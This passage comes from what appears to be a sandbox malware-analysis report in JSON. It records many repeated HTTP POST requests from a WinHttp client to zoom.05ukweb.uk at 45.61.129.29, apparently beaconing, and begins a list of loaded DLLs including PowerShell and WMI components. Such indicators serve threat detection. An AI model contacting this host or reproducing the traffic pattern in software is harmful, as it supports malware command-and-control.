Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4911\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4607832"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5304911 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5304911"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5462367 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5462367"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4595719 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4968\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4595719"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4686898 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4686898"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4766001 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4766001"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5201952 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5201952"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5329139 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5329139"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5389696 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5389696"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4504716 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 5100\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4504716"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4522887 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 5100\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4522887"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4838622 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4838622"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4941506 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4793\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4941506"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5093003 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5093003"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5129326 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5129326"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5268538 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5268538"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5292778 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5292778"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4674800 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4911\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4674800"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4929379 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4909\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4929379"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5080886 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5080886"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5413936 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5413936"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4753877 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4909\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4753877"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4772025 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4772025"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4790210 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4790210"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4989967 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4704\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4989967"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4814414 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4814414"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4535034 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 5100\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4535034"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4662703 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4911\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4662703"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4668771 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4911\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4668771"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5044541 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5044541"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5522870 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5522870"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4516911 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 5100\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4516911"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4996078 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4996078"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5280655 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5280655"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4759929 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4839\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4759929"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5123224 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5123224"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5141427 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5141427"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5244303 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5244303"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5468444 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4697\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5468444"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5492644 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4697\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5492644"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4856744 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4856744"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4905158 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4905158"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5153520 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5153520"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5371577 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5371577"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5401816 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5401816"},{"header":"POST /ft?topic=v258&session=742298662&isbn=5444253 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=5444253"},{"header":"POST /ft?topic=v255&session=798383871&isbn=5450262 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4698\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=5450262"},{"header":"POST /ft?topic=v258&session=742298662&isbn=4620109 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4911\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v258&session=742298662&isbn=4620109"},{"header":"POST /ft?topic=v255&session=798383871&isbn=4844650 HTTP/1.1\nConnection: Keep-Alive\nContent-Type: text/plain; Charset=UTF-8\nAccept: */*\nUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)\nContent-Length: 4910\nHost: zoom.05ukweb.uk","host":"zoom.05ukweb.uk","host_ip":"45.61.129.29:443","method":"POST","response_code":"200","response_phrase":"OK","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"url":"/ft?topic=v255&session=798383871&isbn=4844650"}]},"process_activity":{"all_imported_dlls":["mscoree.dll","linkinfo.dll","Windows.StateRepositoryPS.dll","iertutil.dll","msvcrt.dll","psapi.dll","msIso.dll","msctf.dll","wbemsvc.dll","14gtQTI1.dll","mscoreei.dll","SHCore.dll","vcruntime140_clr0400.dll","bcryptprimitives.dll","srvcli.dll","wbemcomn.dll","ntmarta.dll","cscapi.dll","imm32.dll","ws2_32.dll","webio.dll","user32.dll","cfgmgr32.dll","Microsoft.PowerShell.Commands.Management.ni.dll","rsaenh.dll","VxSSL64.dll","version.dll","rasadhlp.dll","mpr.dll","winnsi.dll","profapi.dll","dnsapi.dll","nsi.dll","FWPUCLNT.DLL","scrrun.dll","fltLib.dll","ntshrui.dll","wbemdisp.dll","System.DirectoryServices.ni.dll","winhttpcom.dll","propsys.dll","wmiutils.dll","rpcrt4.dll","uxtheme.dll","OnDemandConnRouteHelper.dll","MpClient.dll","clbcatq.dll","dwmapi.dll","sppc.dll","cryptbase.dll","dhcpcsvc6.dll","System.Configuration.ni.dll","ELSCore.dll","aepic.dll","System.Management.ni.dll","edputil.dll","amsi.dll","rtutils.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","System.Core.ni.dll","cldapi.dll","dpapi.dll","win32u.dll","mswsock.dll","winhttp.dll","rasapi32.dll","Microsoft.PowerShell.Security.ni.dll","imagehlp.dll","msvcp_win.dll","System.Data.dll","coml2.dll","System.Configuration.Install.ni.dll","policymanager.dll","BCP47Langs.dll","shlwapi.dll","miutils.dll","wmidcom.dll","KernelBase.dll","scrobj.dll","userenv.dll","schannel.dll","kernel.appcore.dll","System.Transactions.ni.dll","AppResolver.dll","gdi32full.dll","advapi32.dll","atl.dll","wshext.dll","powrprof.dll","urlmon.dll","mscorlib.ni.dll","ucrtbase_clr0400.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","mskeyprotect.dll","ncrypt.dll","System.Xml.ni.dll","msisip.dll","Microsoft.Management.Infrastructure.ni.dll","ntdll.dll","sechost.dll","msvcp110_win.dll","clr.dll","Microsoft.Management.Infrastructure.Native.ni.dll","fastprox.dll","rasman.dll","oleaut32.dll","wldp.dll","sspicli.dll","System.Management.Automation.ni.dll","wbemprox.dll","ncryptsslp.dll","vbscript.dll","IPHLPAPI.DLL","combase.dll","crypt32.dll","System.ni.dll","System.Transactions.dll","System.ServiceProcess.ni.dll","msasn1.dll","ntasn1.dll","kernel32.dll","System.Numerics.ni.dll","netutils.dll","mlang.dll","ucrtbase.dll","shell32.dll","windows.storage.dll","gpapi.dll","sxs.dll","dhcpcsvc.dll","MpOAV.dll","wintrust.dll","secur32.dll","mi.dll","cryptsp.dll","gdi32.dll","ole32.dll","slc.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","clrjit.